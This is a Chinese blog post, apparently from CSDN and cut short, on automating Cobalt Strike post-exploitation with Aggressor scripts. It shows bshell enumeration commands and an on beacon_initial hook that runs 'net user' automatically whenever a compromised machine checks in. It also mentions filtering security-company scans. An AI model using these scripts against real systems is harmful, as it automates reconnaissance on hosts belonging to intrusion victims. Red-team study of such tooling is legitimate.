Cobalt Strike与Ladon联动自动渗透

本文介绍了如何利用Cobalt Strike(CS)与Ladon进行自动化渗透,包括执行CMD命令,自动化Demo,利用Ladon执行扫描任务,执行复杂PowerShell命令,以及CS自动更新脚本。通过自动化脚本,可以在目标机器上线时自动收集信息,提高渗透测试效率。
摘要由CSDN通过智能技术生成

为何要自动化?

你是否遇到过CS只上线几分钟又下线的情况,这种情况可能是安全公司扫描自动CS上线的,当然这并不是我们的重点,因为做个IP过滤或改一下CS就好了。重点是另外一个原因就是目标某些机器临时接入网络,所以我们会看到只上线一会儿。或者说就算上线一两个小时,而此时你正在做其它事,来不及看,等回来时机器已下线。因此自动化收集信息是有必要的,或者说有很多机器需要更新CS,如3.X转移到4.X,你一台一台换,等下班了都换不了几台,如果有些机器在不定时且是你休息时间才上线,难道你每天都在等它上线吗?

首先我们来看下CNA是如何执行命令的。首先是执行系统自带CMD命令,采用bshell,如执行whoami,脚本代码如下

执行CMD

bshell($1,"whoami");
执行多条CMD可用&符号连接
bshell($1,"whoami&net user&tasklist");
也可以写多行bshell代码
bshell($1,"whoami");
bshell($1,"net user");
bshell($1,"ipconfig")

自动化Demo

#Initial GetInfo
#by K8gege
on beacon_initial {
#println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1, "pid"));
blog($1,"Auto GetInfo");
bshell($1,"net user");
#bshell($1,"whoami&net user&tasklist");
#$process = exec("whoami");
}

测试脚本

以上代码保存为auto.cna文件,工具栏–Cobalt Strike–Script Mannge

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值